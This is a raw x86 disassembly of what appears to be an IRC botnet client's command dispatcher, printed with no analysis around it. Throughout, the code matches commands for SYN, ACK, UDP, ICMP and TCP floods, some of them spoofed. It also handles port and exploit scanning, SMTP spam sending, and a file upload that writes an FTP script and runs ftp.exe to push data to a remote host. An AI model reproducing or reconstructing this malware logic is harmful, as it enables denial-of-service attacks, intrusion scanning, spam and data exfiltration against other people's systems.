test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8] ; Str2
push offset aT3 ; "t3"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8] ; Str2
push offset aTsunami ; "tsunami"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8] ; Str2
push offset aTsn ; "tsn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8] ; Str2
push offset aRepeat ; "repeat"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8] ; Str2
push offset aRp ; "rp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8] ; Str2
push offset aDelay ; "delay"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8] ; Str2
push offset aDe ; "de"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8] ; Str2
push offset aHadeth3 ; "HADETH3"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8] ; Str2
push offset aHadeth3 ; "HADETH3"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8] ; Str2
push offset aExecute ; "execute"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8] ; Str2
push offset aE ; "e"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8] ; Str2
push offset aFindfile ; "findfile"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8] ; Str2
push offset aFf ; "ff"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8] ; Str2
push offset aRename ; "rename"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8] ; Str2
push offset aMv ; "mv"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8] ; Str2
push offset aIcmpflood ; "icmpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408063
push [ebp+arg_8] ; Str2
push offset aIcmp ; "icmp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408063
mov eax, [ebp+esi+Str2]
cmp eax, ebx
mov [ebp+Src], eax
jz loc_401F75
push [ebp+arg_8] ; Str2
push offset aClone_0 ; "clone"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8] ; Str2
push offset aC ; "c"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8] ; Str2
push offset aDdos_syn ; "ddos.syn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8] ; Str2
push offset aDdos_ack ; "ddos.ack"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8] ; Str2
push offset aDdos_random ; "ddos.random"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8] ; Str2
push offset aWisdom_udp ; "wisdom.udp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4066AE
push 7Fh
lea eax, [ebp+var_3280]
pop esi
push esi ; Count
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3200]
push [ebp+arg_18] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3180]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3100]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3078], eax
push ebx ; int
lea eax, [ebp+Dst]
push 13h ; int
push eax ; Source
mov [ebp+var_307C], edi
mov [ebp+var_3284], esi
call sub_40B3BA
add esp, 3Ch
mov [ebp+var_3080], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3284]
push ebx
push eax
push offset sub_41525A
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_3080]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40669D
loc_406687: ; CODE XREF: sub_401ACD+4BCEj
cmp [ebp+var_3074], ebx
jnz loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_406687
; ---------------------------------------------------------------------------
loc_40669D: ; CODE XREF: sub_401ACD+4BB8j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B0E0
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej
push [ebp+arg_8] ; Str2
push offset aSynflood ; "synflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8] ; Str2
push offset aSyn ; "syn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8] ; Str2
push offset aSkysyn ; "skysyn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4067DB
push 7Fh
lea eax, [ebp+var_36A8]
pop esi
push esi ; Count
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3628]
push [ebp+arg_18] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_35A8]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3528]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A4], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_34A0], eax
lea eax, [ebp+Dst]
push [ebp+arg_18]
mov [ebp+var_36AC], esi
push edi
push offset asc_42B098 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 10h ; int
push eax ; Source
call sub_40B3BA
add esp, 20h
mov [ebp+var_34A8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36AC]
push ebx
push eax
push offset sub_4141B2
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_34A8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4067CA
loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj
cmp [ebp+var_349C], ebx
jnz loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4067B4
; ---------------------------------------------------------------------------
loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B05C
jmp loc_407187
; ---------------------------------------------------------------------------
loc_4067DB: ; CODE XREF: sub_401ACD+4C20j
push [ebp+arg_8] ; Str2
push offset aPhatwonk ; "phatwonk"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8] ; Str2
push offset aWonk ; "wonk"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8] ; Str2
push offset aNazel3 ; "NAZEL3"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8] ; Str2
push offset aNazel3 ; "NAZEL3"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8] ; Str2
push offset aRedirect ; "redirect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8] ; Str2
push offset aRd ; "rd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8] ; Str2
push offset aScan_0 ; "scan"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8] ; Str2
push offset aSc ; "sc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8] ; Str2
push offset aC_privmsg ; "c_privmsg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8] ; Str2
push offset aC_pm ; "c_pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8] ; Str2
push offset aC_action ; "c_action"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407797
push [ebp+arg_8] ; Str2
push offset aC_a ; "c_a"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407797
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+Source], eax
jz loc_401F75
push [ebp+arg_8] ; Str2
push offset aPortscan ; "portscan"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8] ; Str2
push offset aPsc ; "psc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8] ; Str2
push offset aAdvscan ; "advscan"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8] ; Str2
push offset aAd ; "ad"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8] ; Str2
push offset aUdpflood ; "udpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8] ; Str2
push offset aUdp ; "udp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8] ; Str2
push offset aU ; "u"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8] ; Str2
push offset aNetsend ; "netsend"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8] ; Str2
push offset aNs ; "ns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8] ; Str2
push offset aPingflood ; "pingflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8] ; Str2
push offset aPing_0 ; "ping"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8] ; Str2
push offset aP ; "p"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8] ; Str2
push offset aVnchost ; "vnchost"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_406A5A
push edi
call sub_41B52C
pop ecx
lea eax, [ebp+Dst]
push edi
push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
lea eax, [ebp+Dst]
push [ebp+var_4]
push eax
jmp loc_4040AB
; ---------------------------------------------------------------------------
loc_406A5A: ; CODE XREF: sub_401ACD+4F56j
push [ebp+arg_8] ; Str2
push offset aTcpflood ; "tcpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8] ; Str2
push offset aTcp ; "tcp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8] ; Str2
push offset aEmail ; "email"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_406C36
lea eax, [ebp+var_46F0]
push edi ; Source
push eax ; Dest
call _strcpy
push [ebp+arg_18] ; Str
call _atoi
push [ebp+Src] ; Source
mov [ebp+arg_18], eax
lea eax, [ebp+var_438C]
push eax ; Dest
call _strcpy
push [ebp+Source] ; Source
lea eax, [ebp+var_458C]
push eax ; Dest
call _strcpy
push offset asc_42CDC0 ; " "
push offset a_ ; "_"
push [ebp+esi+var_7C] ; Src
call sub_41843B
push eax ; Source
lea eax, [ebp+var_408C]
push eax ; Dest
call _strcpy
add esp, 30h
lea eax, [ebp+var_528C]
push eax
push 101h
call dword_4CB944 ; WSAStartup
lea eax, [ebp+var_46F0]
push eax
call dword_4CBA58 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_4CBA54 ; socket
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CB9D4 ; htons
mov [ebp+var_31A], ax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_458C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_568C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax ; Dest
call _sprintf
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CB97C ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC ; recv
lea eax, [ebp+var_448C]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_568C]
push eax
push esi
call dword_4CBA24 ; send
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC ; recv
push esi
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
lea eax, [ebp+var_458C]
push eax
push offset asc_42AEFC ; "-"
loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj
; sub_401ACD+4561j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
loc_406BFB: ; CODE XREF: sub_401ACD+2431j
add esp, 0Ch
loc_406BFE: ; CODE XREF: sub_401ACD+4485j
; sub_401ACD+6575j ...
cmp [ebp+var_8], ebx
jnz short loc_406C1F
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
loc_406C1F: ; CODE XREF: sub_401ACD+296Fj
; sub_401ACD+29C2j ...
mov esi, [ebp+File]
loc_406C22: ; CODE XREF: sub_401ACD+6814j
; sub_401ACD+773Fj ...
lea eax, [ebp+Dst]
push eax
call sub_415D38
pop ecx
mov eax, esi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_406C36: ; CODE XREF: sub_401ACD+4FCCj
push [ebp+arg_8] ; Str2
push offset aHttpcon ; "httpcon"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_406C60
push [ebp+arg_8] ; Str2
push offset aHcon ; "hcon"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_407208
loc_406C60: ; CODE XREF: sub_401ACD+517Aj
push [ebp+esi+var_7C] ; int
push [ebp+Source] ; int
push [ebp+Src] ; int
push [ebp+arg_18] ; Str
call _atoi
pop ecx
push eax ; int
push edi ; int
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_410ADC
jmp loc_404085
; ---------------------------------------------------------------------------
loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej
; sub_401ACD+4FB5j
mov esi, 80h
push edi ; Format
lea eax, [ebp+var_1358]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_1358]
push eax ; Str2
push offset aSyn ; "syn"
call _strcmp
add esp, 14h
test eax, eax
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax ; Str2
push offset aAck ; "ack"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax ; Str2
push offset aRandom_0 ; "random"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
push offset unk_42AEB4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_406CF1: ; CODE XREF: sub_401ACD+51EAj
; sub_401ACD+5201j ...
push [ebp+Source] ; Str
call _atoi
cmp eax, ebx
pop ecx
mov [ebp+var_1250], eax
jle loc_406E1D
push edi ; Format
lea eax, [ebp+var_1358]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_13D8]
push [ebp+arg_18] ; Format
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+Src] ; Str
call _atoi
mov [ebp+var_1254], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+Format] ; Format
setnz al
mov [ebp+var_124C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13DC], eax
lea eax, [ebp+var_12D8]
push esi ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_124C], ebx
mov [ebp+var_1248], eax
mov eax, [ebp+var_8]
mov [ebp+var_1244], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406D8E
mov eax, offset aNormal ; "Normal"
loc_406D8E: ; CODE XREF: sub_401ACD+52BAj
push [ebp+Source]
push [ebp+Src]
push [ebp+arg_18]
push edi
push eax
push offset asc_42AE70 ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 14h ; int
push eax ; Source
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_1258], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13DC]
push ebx
push eax
push offset sub_4149C1
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1258]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406E0C
loc_406DF6: ; CODE XREF: sub_401ACD+533Dj
cmp [ebp+var_1240], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_406DF6
; ---------------------------------------------------------------------------
loc_406E0C: ; CODE XREF: sub_401ACD+5327j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AE38
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406E1D: ; CODE XREF: sub_401ACD+5235j
push offset asc_42AE00 ; "-"
loc_406E22: ; CODE XREF: sub_401ACD+1FBEj
; sub_401ACD+1FD4j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_406E35: ; CODE XREF: sub_401ACD+4F11j
; sub_401ACD+4F28j ...
cmp dword_4CBAC4, ebx
jnz loc_406F44
mov eax, [ebp+var_8]
push 7Fh ; Count
mov [ebp+var_FF8], eax
mov eax, [ebp+var_4]
mov [ebp+var_FFC], eax
lea eax, [ebp+var_1090]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+arg_18] ; Str
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_1010], eax
call _atoi
push [ebp+Source] ; Str
mov [ebp+var_100C], eax
call _atoi
push 7Fh ; Count
mov [ebp+var_1008], eax
push [ebp+Format] ; Source
lea eax, [ebp+var_1110]
push eax ; Dest
call _strncpy
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1114], eax
lea eax, [ebp+var_1090]
push [ebp+var_1008]
push [ebp+var_100C]
push eax
lea eax, [ebp+Dst]
push [ebp+var_1010]
push offset asc_42ADB8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 16h ; int
push eax ; Source
call sub_40B3BA
add esp, 24h
mov [ebp+var_1000], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1114]
push ebx
push eax
push offset sub_413E10
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1000]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406F33
loc_406F1D: ; CODE XREF: sub_401ACD+5464j
cmp [ebp+var_FF4], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_406F1D
; ---------------------------------------------------------------------------
loc_406F33: ; CODE XREF: sub_401ACD+544Ej
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AD80
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406F44: ; CODE XREF: sub_401ACD+536Ej
push 1FFh ; Count
lea eax, [ebp+Dst]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax ; Dest
call _strncpy
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j
; sub_401ACD+4EFAj
push [ebp+arg_18]
lea eax, [ebp+Dst]
push edi
push [ebp+Src]
push offset asc_42AD2C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
push [ebp+Src] ; Str
call _strlen
push [ebp+arg_18] ; Str
mov edi, eax
call _strlen
push [ebp+arg_20] ; Str
add edi, eax
call _strlen
push [ebp+arg_8] ; Str
add edi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Source] ; SubStr
lea eax, [eax+edi+7]
push eax ; Str
call _strstr
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+Src] ; Str
call _atoi
mov edi, [ebp+arg_20]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_1C], ebx
jle short loc_407059
loc_406FE2: ; CODE XREF: sub_401ACD+5539j
push [ebp+arg_C] ; int
push [ebp+arg_18] ; int
push edi ; Source
call sub_418AF1
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_20], eax
jz short loc_40700A
cmp eax, ebx
jnz short loc_407029
inc [ebp+arg_1C]
mov eax, [ebp+arg_1C]
cmp eax, [ebp+arg_14]
jl short loc_406FE2
jmp short loc_407062
; ---------------------------------------------------------------------------
loc_40700A: ; CODE XREF: sub_401ACD+552Aj
push ebx ; int
push [ebp+var_4] ; int
push offset unk_42ACF4 ; int
loc_407013: ; CODE XREF: sub_401ACD+559Ej
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
jmp loc_407208
; ---------------------------------------------------------------------------
loc_407029: ; CODE XREF: sub_401ACD+552Ej
push [ebp+arg_20]
lea eax, [ebp+Dst]
push offset asc_42ACC0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 20h
loc_407059: ; CODE XREF: sub_401ACD+5513j
cmp [ebp+arg_20], ebx
jnz loc_407208
loc_407062: ; CODE XREF: sub_401ACD+553Bj
push ebx
push [ebp+var_4]
push offset unk_42AC8C
jmp short loc_407013
; ---------------------------------------------------------------------------
loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej
; sub_401ACD+4EB5j ...
mov eax, [ebp+var_8]
push 7Fh ; Count
mov [ebp+var_C68], eax
mov eax, [ebp+var_4]
loc_40707B: ; DATA XREF: .data:004330E0o
; .data:004330F4o ...
mov [ebp+var_C6C], eax
lea eax, [ebp+var_D00]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+arg_18] ; Str
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_C80], eax
call _atoi
push [ebp+Source] ; Str
mov [ebp+var_C7C], eax
call _atoi
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C78], eax
jz short loc_4070D2
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_C74], eax
jmp short loc_4070D8
; ---------------------------------------------------------------------------
loc_4070D2: ; CODE XREF: sub_401ACD+55F4j
mov [ebp+var_C74], ebx
loc_4070D8: ; CODE XREF: sub_401ACD+5603j
push 7Fh ; Count
lea eax, [ebp+var_D80]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_D00]
mov [ebp+var_D84], esi
push [ebp+var_C78]
push [ebp+var_C7C]
push eax
lea eax, [ebp+Dst]
push [ebp+var_C80]
push offset asc_42AC44 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 17h ; int
push eax ; Source
call sub_40B3BA
add esp, 24h
mov [ebp+var_C70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D84]
push ebx
push eax
push offset sub_413F9C
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_C70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40717B
loc_407169: ; CODE XREF: sub_401ACD+56ACj
cmp [ebp+var_C64], ebx
jnz short loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407169
; ---------------------------------------------------------------------------
loc_40717B: ; CODE XREF: sub_401ACD+569Aj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset asc_42AC0C ; "-"
loc_407187: ; CODE XREF: sub_401ACD+4D09j
; sub_401ACD+61E0j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_407196: ; CODE XREF: sub_401ACD+4CEDj
; sub_401ACD+56A2j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push [ebp+var_4]
loc_4071A3: ; CODE XREF: sub_401ACD+2284j
lea eax, [ebp+Dst]
push eax
push [ebp+Format]
push esi
jmp loc_4081CA
; ---------------------------------------------------------------------------
loc_4071B6: ; CODE XREF: sub_401ACD+4E70j
; sub_401ACD+4E87j
push 0Bh
call sub_40B602
push [ebp+arg_18] ; Str
mov [ebp+arg_1C], eax
call _atoi
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 320h
jle loc_407381
push [ebp+arg_1C]
lea eax, [ebp+Dst]
push offset unk_42ABD0 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 20h
loc_407208: ; CODE XREF: sub_401ACD+518Dj
; sub_401ACD+5557j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401F75
push [ebp+arg_8] ; Str2
push offset aUpload ; "upload"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409644
push 4
push esi
call sub_416CAF
pop ecx
test eax, eax
pop ecx
jnz short loc_407253
push esi
push offset asc_42ABA8 ; "-"
loc_40723F: ; CODE XREF: sub_401ACD+711Ej
; sub_401ACD+796Bj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_407253: ; CODE XREF: sub_401ACD+576Aj
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call _rand
push 9
cdq
pop ecx
idiv ecx
push edx
call _rand
push 63h
cdq
pop ecx
idiv ecx
push edx
call _rand
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_50FC]
push edx
push eax
lea eax, [ebp+Filename]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax ; Dest
call _sprintf
lea eax, [ebp+Filename]
push offset Mode ; "ab"
push eax ; Filename
call _fopen
add esp, 20h
cmp eax, ebx
mov [ebp+File], eax
jz loc_401F75
push esi
push [ebp+Source]
push [ebp+Src]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax ; File
call _fprintf
push [ebp+File] ; File
call _fclose
add esp, 20h
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+var_4CF8]
push offset aSS_2 ; "-s:%s"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_4CF8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
push esi ; Format
jz short loc_407320
push offset unk_42AB38
jmp short loc_407325
; ---------------------------------------------------------------------------
loc_407320: ; CODE XREF: sub_401ACD+584Aj
push offset asc_42AB08 ; "-"
loc_407325: ; CODE XREF: sub_401ACD+5851j
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40734E
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
loc_40734E: ; CODE XREF: sub_401ACD+5863j
lea eax, [ebp+Dst]
push eax
call sub_415D38
loc_40735A: ; CODE XREF: sub_401ACD+58B2j
lea eax, [ebp+Filename]
push 4
push eax
call sub_416CAF
add esp, 0Ch
test eax, eax
jz loc_401F75
lea eax, [ebp+Filename]
push eax
call sub_41C7BC
jmp short loc_40735A
; ---------------------------------------------------------------------------
loc_407381: ; CODE XREF: sub_401ACD+5705j
push edi ; Str
call _atoi
push [ebp+arg_18] ; Str
mov [ebp+var_370], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_358], eax
call _atoi
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_4073BA
push 5
pop eax
mov [ebp+var_36C], eax
loc_4073BA: ; CODE XREF: sub_401ACD+58E2j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_4073C7
mov [ebp+var_36C], ecx
loc_4073C7: ; CODE XREF: sub_401ACD+58F2j
push [ebp+Source] ; Str
call _atoi
cmp eax, 320h
pop ecx
mov [ebp+var_368], eax
jbe short loc_4073E7
mov [ebp+var_368], 320h
loc_4073E7: ; CODE XREF: sub_401ACD+590Ej
or [ebp+var_354], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+arg_1C], ebx
jz short loc_40743D
mov [ebp+File], offset dword_4317F8
loc_407400: ; CODE XREF: sub_401ACD+5952j
mov eax, [ebp+File]
push edi ; Str2
add eax, 0FFFFFFD8h
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_407423
add [ebp+File], 40h
inc [ebp+arg_1C]
mov eax, [ebp+File]
